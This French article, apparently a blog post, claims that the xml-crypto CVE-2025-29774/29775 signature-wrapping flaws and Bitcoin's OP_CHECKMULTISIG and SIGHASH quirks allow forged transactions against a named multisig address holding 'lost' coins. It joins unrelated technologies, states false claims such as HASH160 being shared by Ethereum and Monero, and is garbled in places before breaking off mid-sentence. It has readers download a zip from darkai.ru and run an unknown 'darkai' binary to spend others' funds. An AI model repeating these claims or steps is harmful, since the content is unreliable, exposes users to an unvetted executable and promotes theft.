
Comment les vulnérabilités CVE-2025-29774 et le bug SIGHASH_SINGLE menacent les méthodes opérationnelles des portefeuilles multi-signatures avec de fausses transactions RawTX
Dans cet article, nous examinerons l’attaque cryptographique de falsification de signature numérique (Digital Signature Forgery Attack), dont les conséquences menacent la sécurité des transactions sur le réseau Bitcoin, car les signatures numériques confirment la propriété et l’autorisation des transferts de cryptomonnaies. Nous étudierons des exemples de l’impact de ces attaques sur Bitcoin, basés sur des recherches modernes et des vulnérabilités identifiées.
Une attaque de falsification de signature numérique (Digital Signature Forgery Attack) est une tentative d’un attaquant de créer une fausse signature numérique ECDSA qui sera reconnue comme valide par le réseau Bitcoin. Cette attaque permet d’autoriser des transactions sans connaître la clé privée du propriétaire, ce qui met en danger la sécurité des fonds du portefeuille crypto du détenteur de BTC.
En cryptographie, une signature numérique fournit une confirmation de l’authenticité d’un message ou d’une transaction. La falsification de signature signifie qu’il est possible de créer une paire « RawTX » qui sera acceptée par le système comme valide, alors qu’en réalité elle n’a pas été créée par le propriétaire de la clé privée. Cela ouvre la voie à la fraude, au vol de fonds et à la violation de l’intégrité de la blockchain. La Digital Signature Forgery Attack (DSFA), en tant qu’attaque cryptographique, est implémentée dans des composants logiciels qui utilisent la bibliothèque xml-crypto pour vérifier les signatures de documents XML sur la plateforme Node.js.
Avant tout, cela concerne les solutions d’intégration d’entreprise, les services cloud et les systèmes d’authentification unique, tels qu’IBM App Connect Enterprise Certified Container et d’autres applications qui dépendent de xml-crypto pour l’authentification et l’autorisation SAML. Les vulnérabilités matérielles ne sont pas associées à des périphériques physiques spécifiques, mais sont implémentées dans des produits logiciels utilisant la bibliothèque vulnérable.
Les vulnérabilités CVE-2025-29774 et CVE-2025-29775, connues sous le nom de Digital Signature Forgery Attack, sont implémentées dans la bibliothèque logicielle xml-crypto , une bibliothèque pour signer numériquement et chiffrer des documents XML sur la plateforme Node.js.


Ainsi, ce code implémente des algorithmes de signature cryptographique et de vérification de signature pour différents schémas (RSA avec différents hachages SHA et HMAC-SHA1), ce qui permet de les intégrer dans des systèmes nécessitant la signature numérique de données.
Le code de signature-algorithms.ts est utilisé pour créer et vérifier de manière sécurisée des signatures numériques, garantissant ainsi l’authenticité et l’intégrité des données. Les signatures ECDSA assurent la vérification de la paternité à l’aide d’une clé privée, et HMAC assure la vérification de l’intégrité et de l’authenticité à l’aide d’une clé secrète. Les algorithmes utilisés sont conformes aux normes XML Digital Signature (les URI des algorithmes pointent vers les spécifications W3C).
Ainsi, le code de signature-algorithms.ts implémente des algorithmes de signature cryptographique et de vérification de signature pour différents schémas (ECDSA, RSA avec différents hachages SHA et HMAC-SHA1), ce qui permet de les intégrer dans des systèmes nécessitant la signature numérique de données.
SignatureAlgorithm et fournit des méthodes pour :
getSignature) : prend les données de signature et une clé privée, renvoie une signature numérique au format base64.verifySignature) : prend l’entrée, la clé publique et la signature, renvoie une valeur booléenne indiquant si la signature est correcte.getAlgorithmName) : renvoie un URI identifiant l’algorithme de signature utilisé.crypto.createSign et crypto.createVerify sont utilisées avec les algorithmes correspondants (« RSA-SHA1 », « RSA-SHA256 », « RSA-SHA512 »).crypto.createHmac est utilisé avec l’algorithme « SHA1 ».createOptionalCallbackFunction, qui permet probablement de les utiliser avec à la fois des callbacks et des promesses (les détails ne sont pas dans le code).L’utilisation de l’algorithme RSA-SHA1 dans les signatures cryptographiques contient une vulnérabilité liée aux collisions de hachage SHA-1. Cela permet à un attaquant de créer deux messages différents avec la même signature s’il contrôle une partie des données signées.
Plus précisément, le problème se trouve dans la classe RsaSha1 :
const signer = crypto.createSign("RSA-SHA1"); // Ligne vulnérable
Également la deuxième vulnérabilité se trouve dans la classe RsaSha1 :
const verifier = crypto.createVerify("RSA-SHA1"); // Ligne vulnérable
HmacSha1 est moins vulnérable, mais également obsolète. HMAC est plus résistant aux collisions que SHA-1 « nu », mais il est préférable de passer à SHA-256.
CVE-2025-29774 et CVE-2025-29775 sont des vulnérabilités critiques dans la bibliothèque xml-crypto pour Node.js liées à une vérification incorrecte des signatures numériques dans les documents XML. Les deux vulnérabilités permettent à un attaquant de modifier des messages XML signés d’une manière qui échappe à la vérification de signature.
Dans le code fourni, les classes RsaSha1 utilisent l’algorithme obsolète RSA-SHA1 pour la signature et la vérification :
const signer = crypto.createSign("RSA-SHA1"); // Ligne vulnérable n°7
const verifier = crypto.createVerify("RSA-SHA1"); // Ligne vulnérable n°17SHA1 est considéré comme cryptographiquement non sécurisé, le principal problème réside dans la logique de traitement des structures XML par la bibliothèque :
<SignedInfo> au document XML , ce qui entraîne un calcul de hachage incorrect lors de la vérification.<Signature> <SignedInfo>...</SignedInfo> <!-- Nœud original --> <SignedInfo>...</SignedInfo> <!-- Ajouté par un attaquant --> </Signature>
// Usage SHA-256 / SHA-1 const signer = crypto.createSign("RSA-SHA256");<SignedInfo> dans la signature.La correction de ces vulnérabilités est essentielle pour les systèmes qui utilisent des signatures XML pour l'authentification (par exemple SAML, SOAP).

La bibliothèque xml-crypto est largement utilisée pour vérifier les signatures numériques dans les messages XML, y compris des protocoles tels que SAML, SOAP, et autres. Il s'ensuit que la vulnérabilité affecte potentiellement :
Pour évaluer le risque sur des appareils spécifiques, il est recommandé de vérifier s'ils utilisent des versions vulnérables de xml-crypto ou dépendent de mécanismes de signature XML similaires. Pour travailler avec des portefeuilles de cryptomonnaies basés sur Node.js, IBM propose des solutions distinctes, telles que IBM Secure Bitcoin Wallet , une application basée sur Electrum Bitcoin Client qui utilise Node.js pour interagir avec le réseau Bitcoin et gérer le portefeuille.
Dans cette solution, les clés privées et le portefeuille peuvent être stockés et cryptés à l'aide d'IBM Cloud Hyper Protect Crypto Services (zHSM), qui fournit un stockage sécurisé matériel des clés. La génération de clés privées pour les portefeuilles Bitcoin est généralement implémentée dans des bibliothèques cryptographiques spécialisées telles que Electrum, bitcoinjs-lib, etc., qui peuvent être intégrées dans des applications Node.js. IBM Secure Bitcoin Wallet utilise un backend Electrum modifié sur Node.js pour la gestion des clés et des transactions, via l'intégration avec IBM Cloud Hyper Protect Crypto Services, qui fournit un cryptage matériel et un stockage sécurisé des clés privées.
D'après la théorie de la vulnérabilité CVE-2025-29775 on sait qu'un attaquant peut traiter une bibliothèque xml-crypto non mise à jour pour des valeurs de transaction incorrectes. Passons à la partie pratique de l'article et considérons un exemple utilisant un portefeuille Bitcoin : 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe , où il y avait des pièces perdues à hauteur de : 0.059672 BTC en juillet 2025 ce montant est de : 7, 052 USD
Considérons le format : Transaction brute données binaires et hexadécimales qui contiennent toutes les informations sur la transaction . Il est nécessaire pour transmettre, vérifier ou créer des transactions à bas niveau et constitue la base du fonctionnement de l'ensemble du réseau Bitcoin. Les utilisateurs ordinaires rencontrent rarement les transactions brutes directement, mais pour les développeurs et les passionnés de crypto, c'est l'outil principal pour un contrôle total sur toutes les transactions du réseau Bitcoin.

Pour récupérer complètement les objets UTXO sur le réseau Bitcoin, nous allons utiliser l'outil Dark AI . UTXO est la partie principale de la structure de données dans la blockchain et représente le montant de pièces BTC de la cryptomonnaie qui peut être dépensé par le détenteur de la clé privée (contrôlant cette adresse Bitcoin). Chaque UTXO est la sortie d'une transaction passée spécifique, qui n'a jamais été utilisée comme entrée dans des transactions ultérieures.

Commandes :
!wget https://darkai.ru/repositories/neuralnet_tools.zipwget— un utilitaire en ligne de commande pour télécharger des fichiers depuis le réseau via les protocoles HTTP, HTTPS et FTP.neuralnet_tools.zipunzip— commande pour extraire les archives ZIP dans le répertoire courant.Cette commande extrait tous les fichiers de neuralnet_tools.zip
!unzip neuralnet_tools.zip
Exécutons la commande ls pour un affichage rapide et facile
ls

!./darkai
Exécutons la commande pour obtenir des informations sur les soi-disant sorties de transaction non dépensées ( UTXO , décodage : Unspent Transaction Output ) pour l'adresse Bitcoin spécifiée. Cette information est importante pour évaluer le solde de l'adresse et la possibilité d'effectuer de nouvelles transactions.
!./darkai -bitcoinaddress 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe[
{'output': '8602122a7044b8795b5829b6b48fb1960a124f42ab1c003e769bbaad31cb2afd:0', 'value': 677200},
{'output': 'bd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786:0', 'value': 5000000}
]Chaque UTXO contient :
<txid>:<n>, où <txid> est un hachage de transaction unique, et <n> le numéro de sortie dans la liste des sorties pour cette transaction.8602122a7044b8795b5829b6b48fb1960a124f42ab1c003e769bbaad31cb2afd:0bd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786:0Le solde total disponible d'une adresse est égal à la somme de tous les UTXO trouvés :

Nous utilisons le processus d'interprétation pour traiter la bibliothèque xml-crypto non mise à jour afin de créer des valeurs de transaction invalides et d'envoyer un montant important, l'algorithme Dark AI choisira quel UTXO utiliser (ou combinera les deux).
L'adresse Bitcoin 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe dispose de deux UTXO actifs totalisant 0,05677200 BTC . Ces fonds peuvent être utilisés pour effectuer de nouvelles transactions ; les deux sorties sont considérées comme confirmées et non dépensées.

Pour obtenir des fragments d'informations sur la sortie d'une transaction Bitcoin, utilisez les commandes suivantes, où la première sortie (
outs) de la transaction a un identifiant unique8602122a7044b8795b5829b6b48fb1960a124f42ab1c003e769bbaad31cb2afd
!./darkai -deserialize 8602122a7044b8795b5829b6b48fb1960a124f42ab1c003e769bbaad31cb2afd{'value': 677200, 'script': 'a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287'}a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287 — un script qui définit les conditions pour dépenser cette sortie.
a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287a914...87, qui correspond au format P2SH (Pay to Script Hash) :
a9— OP_HASH160 (opérateur de hachage)14— longueur de la valeur suivante (20 octets = 40 caractères hexadécimaux)06612b7cb2027e80ec340f9e02ffe4a9a59ba762— hash160 de l'adresse Bitcoin elle-même où sont stockées les pièces BTC.87— OP_EQUAL (un opérateur de commande de base de Bitcoin Script qui effectue une comparaison de deux données pour vérifier leur identité)À la suite de la désérialisation de la transaction par identifiant
8602122a7044b8795b5829b6b48fb1960a124f42ab1c003e769bbaad31cb2afd, la première sortie a été obtenue, contenant le montant de 677 200 satoshi (0,00677200 BTC), protégée par un script P2SH. Pour gérer ces fonds, il sera nécessaire de présenter le script de destination et de signer correctement la transaction de déverrouillage qui répond aux conditions du hachage spécifié.

Pour obtenir des fragments d'informations sur la sortie des données originales (
output) d'une transaction Bitcoin, appliquez les commandes suivantes, où la première sortie (outs) de la transaction avec un identifiant uniquebd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786
!./darkai -deserialize bd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786En utilisant le processus d'interprétation, à l'aide de Dark AI avec la fonction de désérialisation, nous obtenons ensuite des informations sur la structure du premier élément de sortie ( output) pour la deuxième transaction avec l'identifiantbd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786.
Résultat :
{'value': 5000000, 'script': 'a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287'}5000000'outs'. Il ne peut être dépensé que si les conditions écrites dans le script défini dans le champ 'script' sont remplies.
'a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287'La valeur spécifiée correspond au type de script standard dans le réseau Bitcoin :
a9— code d'opération OP_HASH160 (produit RIPEMD-160 à partir de SHA-256 de la ligne suivante).14— longueur du champ suivant : 20 octets (40 caractères hexadécimaux).06612b7cb2027e80ec340f9e02ffe4a9a59ba762— est un hachage de 20 octets qui identifie soit une adresse de portefeuille Bitcoin, soit un script.87— code d'opération OP_EQUAL.Pris ensemble, cette entrée signifie une adresse P2SH (Pay-to-Script-Hash). Dans ce cas, les fonds sont affectés à une certaine combinaison de scripts, et pour les retirer, il faudra révéler le script dont le hachage est enregistré ici et présenter des signatures (ou d'autres données) qui satisfont aux conditions de ce script.
Les utilisations les plus courantes de ce schéma sont pour les multi-signatures, les contrats intelligents simples et complexes, les multi-signatures bilatérales, les schémas de sécurité conditionnelle et autres scénarios avancés.
06612b7cb2027e80ec340f9e02ffe4a9a59ba762Ainsi, le résultat de la désérialisation signale la présence d'un certain nombre de bitcoins à une adresse conditionnelle (P2SH) et définit des règles strictes pour leur dépense, ce qui joue un rôle clé dans la gestion et la comptabilité des fonds dans le réseau Bitcoin.

Le script 'a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287'est choisi et utilisé dans cette sortie de transaction car il représente un script de verrouillage typique P2SH (Pay-to-Script-Hash) dans le réseau Bitcoin.
Examinons-le morceau par morceau :
a9— OP_HASH160 : Une opération de hachage qui applique d'abord SHA-256 puis RIPEMD-160 aux données suivantes.14— la longueur du hachage est de 20 octets (au format hexadécimal).06612b7cb2027e80ec340f9e02ffe4a9a59ba762— un hachage de 20 octets du script, connu sous le nom de script hash .87— OP_EQUAL : Un opérateur qui vérifie l'égalité de deux valeurs sur la pile.Ainsi, ce script exige qu'au moment de l'utilisation (dépense des fonds) un script dont le hachage correspond soit présenté 06612b7cb2027e80ec340f9e02ffe4a9a59ba762, et que les conditions de ce script soient remplies.
Le script
'a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287'est un script de verrouillage P2SH, ce qui signifie que pour dépenser 0,05 BTC, vous devez fournir le script original avec le hachage06612b7cb2027e80ec340f9e02ffe4a9a59ba762et remplir les conditions qui y sont spécifiées. Cela offre un équilibre entre commodité, sécurité et fonctionnalité – la raison principale du choix de ce script particulier dans cette transaction. Le hachage06612b7cb2027e80ec340f9e02ffe4a9a59ba762dans le script P2SH est le résultat d'un hachage spécifique du script original (redeem script) , qui détermine les conditions de dépense des fonds de cette sortie.
06612b7cb2027e80ec340f9e02ffe4a9a59ba762. Ce hachage identifie de manière unique le scénario exact pour lequel il a été généré.SHA-256 + RIPEMD-160)à partir du script original (redeem script), il n'est donc pas possible de sélectionner un hachage différent de manière aléatoire ou arbitraire.a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287Ainsi, le choix de ce hachage particulier est dicté par la nécessité d'un lien précis et sécurisé entre la sortie et des conditions de dépense spécifiques qui contrôlent l'accès aux fonds dans la blockchain. Tout cela est assuré par les propriétés des fonctions de hachage cryptographique, leur unicité et l'impossibilité de récupération inverse des données originales.
Les développeurs de Bitcoin ont intégré le mécanisme P2SH (Pay-to-Script-Hash) dans le code comme une innovation clé qui garantit la sécurité et élargit les capacités du réseau blockchain. Examinons la structure et le principe de fonctionnement de ce script, sa différence par rapport aux transactions classiques, ainsi que les raisons du choix de cette approche pour stocker et protéger les actifs numériques.
Traditionnellement, les transactions Bitcoin fonctionnaient selon le schéma Pay-to-Pubkey-Hash (P2PKH) – où les fonds sont « verrouillés » à l'aide du hachage de la clé publique du destinataire. Pour dépenser ces fonds, l'utilisateur doit fournir sa signature numérique et sa clé publique, qui sont vérifiées par le réseau.
Cependant, au-delà de P2PKH, l'interface était limitée, car Bitcoin Script permet des conditions de dépense beaucoup plus complexes, allant des multi-signatures aux verrous temporels et autres accords de contrat intelligent. Le problème était que les scripts longs et complexes augmentaient inévitablement la taille des transactions et réduisaient leur convivialité.
C'est pour simplifier l'interaction avec de tels scénarios complexes que le concept P2SH a été introduit en 2012 , standardisé dans le BIP 16 par Gavin Andresen. L'essence du P2SH consiste à remplacer le script complet des conditions de dépense dans scriptPubKey par son hachage cryptographique – le soi-disant hachage de script.

Examinons le script spécifié suite à la désérialisation :
OP_HASH160 06612b7cb2027e80ec340f9e02ffe4a9a59ba762 OP_EQUALCe script diffère du P2PKH standard en ce qu'au lieu d'un hachage de clé publique, il stocke un hachage d'un redeemScript – un ensemble de conditions dans lesquelles les fonds peuvent être dépensés.
Pour dépenser ces fonds, il est nécessaire de transmettre dans les entrées (scriptSig) de la transaction faisant référence à cette sortie :
Lors du traitement d'une transaction, les nœuds du réseau :
P2SH transfère ainsi la responsabilité de présenter et de vérifier les conditions de la dépense de l'expéditeur (qui crée le script requis) au dépensier.
P2SH permet de créer des adresses avec des conditions arbitraires, souvent à plusieurs niveaux – par exemple, une exigence de multi-signature (2 sur 3, 3 sur 5, etc.), des limites de temps, une logique de distribution, et bien plus encore. Dans ce cas, l'expéditeur envoie simplement les fonds à une adresse de hachage compacte, sans entrer dans les détails techniques.
Au lieu de stocker le script complet dans la blockchain, seul son hachage est stocké dans la transaction. Cela réduit la charge sur le réseau, réduit la taille des blocs et accélère la vérification des transactions.
Étant donné que le redeemScript n'est révélé et vérifié qu'au moment de la dépense, cela augmente la confidentialité des conditions et rend les tentatives d'accès non autorisé plus difficiles. L'utilisation de fonctions de hachage cryptographique garantit une protection contre la falsification et la modification – toute légère déviation dans le script entraînera un hachage différent et le réseau refusera d'accepter la transaction.
P2SH standardise et simplifie l'utilisation de contrats intelligents complexes dans Bitcoin, simplifiant l'intégration et augmentant la compatibilité avec une variété de portefeuilles et de services.
Un exemple classique est un portefeuille qui nécessite les signatures de deux des cinq participants pour effectuer une transaction. Avec P2SH :
Cela rend P2SH idéal pour les comptes d'entreprise, les coentreprises et autres situations où un contrôle d'accès est requis. Le mécanisme Pay-to-Script-Hash (P2SH) est une partie fondamentale de l'architecture Bitcoin, offrant un équilibre entre :

ins)Exécutons une commande pour obtenir des informations sur l'une des entrées d'une transaction avec le hachage 6102bfd4bad33443bcb99765c0751b6b8e4e65f4db4e3b65324c5e9e3dac8132. L'analyse d'une telle entrée est importante pour comprendre le mécanisme d'autorisation de dépense des fonds au niveau du script.
!./darkai -scriptsig 6102bfd4bad33443bcb99765c0751b6b8e4e65f4db4e3b65324c5e9e3dac8132Le résultat de l'extraction de la première entrée de la transaction (
ins) est présenté comme suit :
{
'script': '00483045022100e5d7c59ea1fb5d0285e755dfc09634e1e3af36d12950b9b5d5f92b136021b3d202202c181129443b08dcfb8d9ced30187186c57c96f9cdb3f3914e0798682ea35d2b03493046022100e1f8dbad16926cfa3bf61b66e23b3846323dcabf6c75748bcfad762fc50bfaf402210081d955160b5f8d2b9d09d8838a2cf61f5055009d9031e0e106e19ebab234d949034c695221023927b5cd7facefa7b85d02f73d1e1632b3aaf8dd15d4f9f359e37e39f05611962103d2c0e82979b8aba4591fe39cffbf255b3b9c67b3d24f94de79c5013420c67b802103ec010970aae2e3d75eef0b44eaa31d7a0d13392513cd0614ff1c136b3b1020df53ae',
'outpoint': {
'index': 1,
'hash': 'ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577'
},
'sequence': 4294967295
}script)scriptest le scriptSig , qui est utilisé pour déverrouiller la sortie de transaction précédente correspondante.00, qui dans le contexte de scriptSig peut signifier OP_0 , traditionnellement utilisé dans les scénarios multi-signatures (par exemple, dans le cas du standard multi-signature Pay-to-Script-Hash, où une valeur factice est nécessaire).3045...), qui consistent généralement en une série d'octets contenant les détails de la signature.outpoint)'hash': 'ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577'— est le hachage de la transaction précédente.'index': 1– indique la deuxième sortie (numérotée à partir de zéro), qui est utilisée pour le déverrouillage.sequence)4294967295 (0xFFFFFFFF)est un nombre maximal de 32 bits.La cryptanalyse de l'extraction de la première entrée de transaction (
ins) avec le hachage de transaction donné a montré que :
ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577:1.Ainsi, les données obtenues permettent de comprendre plus en profondeur la mécanique de vérification des droits de dépense des fonds, sont utilisées pour garantir la sécurité du réseau Bitcoin, ainsi que dans le développement et l'audit de contrats intelligents basés sur les scripts Bitcoin.

outs)Exécutons la commande pour obtenir des informations sur l'une des sorties de la transaction avec l'identifiant
ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577.
!./darkai -redeemscript ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577
outsPlus précisément, la deuxième sortie ( ) de cette transaction, l'élément avec l'index 1, a été extraite .
{
'value': 350000,
'script': 'a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287'
}value
scripta91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287est un script de verrouillage classique (scriptPubKey) du format P2SH (Pay-to-Script-Hash) .a9— OP_HASH160 est un opérateur qui applique d'abord SHA-256 puis RIPEMD-160 aux données d'entrée.14— la longueur (20 octets) de la valeur suivante est la taille du hachage.06612b7cb2027e80ec340f9e02ffe4a9a59ba762— hachage de 20 octets, également connu sous le nom de hachage de script , est une représentation unique du script de rachat qui contrôle la dépense de ces fonds.87— OP_EQUAL est un opérateur qui compare deux valeurs et renvoie vrai si elles sont égales.Ainsi, le script exige que pour déverrouiller (dépenser les fonds), l'utilisateur présente un script de rachat dont le hachage correspond à cette valeur.
ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577est associé à une sortie qui contient 0,0035 BTC.06612b7cb2027e80ec340f9e02ffe4a9a59ba762.
Les informations reçues confirment que le deuxième enregistrement de sortie de transaction
ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577stocke le montant de 0,0035 BTC, contrôlé par un script P2SH standard avec une valeur hash16006612b7cb2027e80ec340f9e02ffe4a9a59ba762. Pour gérer ces fonds, il est nécessaire de présenter le redeem script correspondant, ce qui offre un haut niveau de sécurité et de flexibilité dans la gestion des bitcoins.
OP_FALSE 304502... 304602... 5221023927b5cd7facefa7b85d02f73d1e1632b3aaf8dd15d4f9f359e37e39f05611962103d2c0e82979b8aba4591fe39cffbf255b3b9c67b3d24f94de79c5013420c67b802103ec010970aae2e3d75eef0b44eaa31d7a0d13392513cd0614ff1c136b3b1020df53aeExécutons la commande pour obtenir HASH160. Les développeurs de Bitcoin ont établi une norme pour un hachage de 20 octets (hex) qui est largement utilisé sans modifications dans d'autres cryptomonnaies populaires telles que Bitcoin (BTC), Ethereum (ETH), Tether (USDT), BNB (BNB), Solana (SOL), XRP (XRP), Cardano (ADA), Dogecoin (DOGE), USDC (USDC), Polkadot (DOT), Avalanche (AVAX), Shiba Inu (SHIB), Stellar (XLM), TRON (TRX), Chainlink (LINK), Litecoin (LTC), Bitcoin Cash (BCH), Monero (XMR) pour désigner l'identifiant raccourci des scripts et des clés publiques.
!./darkai -hexdata 5221023927b5cd7facefa7b85d02f73d1e1632b3aaf8dd15d4f9f359e37e39f05611962103d2c0e82979b8aba4591fe39cffbf255b3b9c67b3d24f94de79c5013420c67b802103ec010970aae2e3d75eef0b44eaa31d7a0d13392513cd0614ff1c136b3b1020df53aeProcessus de traitement :
06612b7cb2027e80ec340f9e02ffe4a9a59ba762Ce hachage de 20 octets (hex) est appelé HASH160 et est largement utilisé dans Bitcoin pour désigner un identifiant raccourci des scripts et des clés publiques.
Une étape clé dans le traitement des scripts Bitcoin à l'aide de fonctions de hachage cryptographique.
La conversion de scripts sérialisés ou de clés publiques en HASH160 permet une identification, un indexage et une protection efficaces des données sur la blockchain Bitcoin.
Hachage reçu :
{'06612b7cb2027e80ec340f9e02ffe4a9a59ba762'}L'équipe a produit le hachage exact qui sert de lien entre les scripts complexes et le format compact utilisé pour stocker et vérifier les transactions sur le réseau Bitcoin.

Satoshi Nakamoto a choisi d'utiliser le double hachage SHA-256 (c'est-à-dire appliquer SHA-256 deux fois de suite) dans les algorithmes de hachage de Bitcoin pour plusieurs raisons importantes qui renforcent la force cryptographique et la sécurité du réseau.
L'utilisation double de
SHA-256est un choix délibéré de Satoshi Nakamoto pour fournir une couche supplémentaire de sécurité et une force cryptographique robuste à l'ensemble du système Bitcoin. Cette conception minimise les risques de collision, renforce le caractère unidirectionnel et protège de manière sécurisée les données sur le réseau blockchain, créant une base solide pour la sécurité des transactions et le consensus dans le système. Ainsi, le double SHA-256 est un élément clé de l'architecture Bitcoin, combinant des techniques cryptographiques avancées avec un système distribué.

La sécurité et la flexibilité des transactions Bitcoin modernes reposent sur un système de script qui permet des conditions complexes pour dépenser des fonds. L'un des mécanismes clés est la multi-signature (multisig) , où les fonds ne peuvent être dépensés que s'il y a plusieurs signatures numériques valides parmi un ensemble de signatures possibles. Dans cet article, nous examinerons en détail comment cela est exactement implémenté dans Bitcoin, ce qu'est redeemScript, comment fonctionne l'instruction OP_CHECKMULTISIG , et pourquoi une telle approche est demandée.
Dans le contexte de Bitcoin, un redeemScript est un script contenant les conditions de dépense des fonds, qui sont stockées dans la sortie de transaction au format Pay-to-Script-Hash (P2SH). Au lieu de stocker le script complet sur la blockchain, le hash du redeemScript est stocké dans la sortie, économisant de l'espace et cachant les détails des conditions jusqu'au moment de la dépense.
RedeemScript peut inclure, par exemple, plusieurs clés publiques et un nombre seuil de signatures – c'est ce que les portefeuilles multi-signature implémentent.
Considérons l'instruction OP_CHECKMULTISIG : objectif et fonctionnement, où l'élément principal dans redeemScript mettant en œuvre la vérification multi-signature est OP_CHECKMULTISIG .
En raison d'un bug historique dans l'implémentation de OP_CHECKMULTISIG , un élément supplémentaire, une valeur inutilisée, est retiré de la pile lors de l'exécution. Pour éviter ce problème, scriptSig utilise un élément spécial
OP_FALSE(valeur 0) au début, qui compense ce bug et empêche les vulnérabilités potentielles.
OP_FALSE <signature1> <signature2> ... <redeemScript>OP_FALSEBasé sur le code redeemScript :
023927... 03d2c0... 03ec01... 3 OP_CHECKMULTISIG
OP_CHECKMULTISIGvérifie que les deux signatures fournies (dans scriptSig) correspondent à deux des trois clés et sont valides.OP_FALSEdans scriptSig compense le bug de suppression de la valeur supplémentaire.OP_FALSE, le mécanisme a prouvé sa fiabilité et a trouvé une large application.RedeemScript avec l'instruction OP_CHECKMULTISIG est un outil complexe et puissant de l'arsenal Bitcoin qui permet de créer des portefeuilles multi-signatures avec un seuil de signatures, offrant un haut niveau de sécurité et de contrôle sur les fonds. Ce mécanisme est devenu une pierre angulaire pour les organisations, les utilisateurs et les services qui souhaitent utiliser la gestion partagée de leurs actifs dans un environnement décentralisé et sécurisé. Ainsi, la multi-signature via redeemScript et OP_CHECKMULTISIG n'est pas seulement une technologie, mais une fonctionnalité qui étend les capacités du modèle classique de cryptomonnaie.

Le mécanisme de vérification multi-signature Bitcoin repose sur l'utilisation de scripts spéciaux avec les instructions OP_CHECKMULTISIG et redeemScript, ce qui permet une correspondance de signatures à seuil, offrant une sécurité accrue et une gestion partagée des fonds.
Multisig est un système dans lequel plusieurs signatures valides issues d'un ensemble donné de clés publiques sont nécessaires pour finaliser une transaction. Un schéma typique est noté m sur n — par exemple, « 2 sur 3 », où deux signatures quelconques parmi trois clés sont nécessaires pour autoriser une dépense.
Dans Bitcoin, cette logique est implémentée via :
L'instruction
OP_CHECKMULTISIGvérifie que les signaturesscriptSigfournies sont valides et correspondent aux clés publiques publiées depuis redeemScript.
RedeemScript est structuré de la manière suivante :
OP_M <pubkey1> <pubkey2> ... <pubkeyN> OP_N OP_CHECKMULTISIGOP_M et OP_N — instructions spécifiant respectivement le nombre de signatures requises et le nombre total de clés publiques (par exemple, OP_2 et OP_3).<pubkeyX> — clés publiques des participants.OP_CHECKMULTISIG — un opérateur qui implémente la vérification multi-signature.m.Une caractéristique technique importante est un bogue historique d'implémentation
OP_CHECKMULTISIGqui provoque le retrait d'un élément supplémentaire inutilisé de la pile. Pour compenser ce bogue,scriptSigune valeurOP_FALSE(code 0) est placée au début afin de « verrouiller » le décalage de la pile.
Pour un portefeuille multi-signature « 2 sur 3 », avant de dépenser des fonds, on forme scriptSig comme suit :
OP_FALSE <signature1> <signature2> <redeemScript>OP_FALSE — une valeur factice pour compenser le bogue OP_CHECKMULTISIG.<signature1> et <signature2> – deux signatures numériques autorisées par les propriétaires des clés privées correspondantes.<redeemScript> — le script lui-même avec les clés publiques et les paramètres de vérification.Lors de la vérification d'une transaction par un nœud :
Si toutes les entrées d'une transaction passent cette vérification, la transaction est considérée comme valide. Avec une telle validité, en exécutant l'opérateur de ce bogue, l'attaquant compense OP_CHECKMULTISIG en tant que vulnérabilité potentielle.
Le mécanisme de vérification multi-signature Bitcoin utilisant la commande
OP_CHECKMULTISIGet redeemScript permet de mettre en place des schémas de signature à seuil complexes, et en exécutant cet opérateur de bogue, un attaquant compense OP_CHECKMULTISIG en tant que vulnérabilité potentielle dans les transactions contrôlées du réseau distribué Bitcoin.
Quelles sont les caractéristiques et limitations lors de la vérification de plusieurs signatures avec OP_CHECKMULTISIG ? Examinons les aspects et limitations clés :
OP_FALSE est ajouté au début de scriptSig pour aligner correctement la pile. Il s'agit d'une fonctionnalité reconnue et acceptée par la communauté.
Bitcoin utilise des signatures numériques pour autoriser les transactions, permettant aux propriétaires de fonds de confirmer leur droit de les dépenser. La particularité est que les signatures peuvent limiter leur portée non pas à la transaction entière, mais seulement à une partie de celle-ci. Cela est implémenté à l'aide d'indicateurs spéciaux – SIGHASH , qui déterminent exactement quelles données de la transaction tombent sous la signature. Examinons les types de hachages de signature, leur objectif, des exemples d'utilisation, ainsi que les particularités qui surviennent dans les situations non standard.
Lors de la signature d'une transaction Bitcoin, une signature numérique est créée, formée sur un fragment spécifique des données de la transaction. C'est via l'indicateur SIGHASH que l'on indique quelle partie de ces données cette signature doit couvrir. Le type de hachage de signature est transmis par le dernier octet de la signature elle-même et détermine la zone incluse dans le hachage, et donc dans la section signée. Cela permet une formation flexible des conditions indiquant quelles actions spécifiques sur la transaction sont approuvées par le signataire.
C'est le type de signature par défaut dans la plupart des portefeuilles et clients. La signature couvre toutes les entrées et toutes les sorties de la transaction , ce qui signifie :
Avec ce type de signature, toutes les entrées sont signées, mais aucune des sorties n'est signée :
Ce type de signature signe toutes les entrées, mais seulement une sortie – avec le même numéro de séquence que l'entrée :
Considérons une transaction avec trois entrées, où des signatures se terminant par un octet
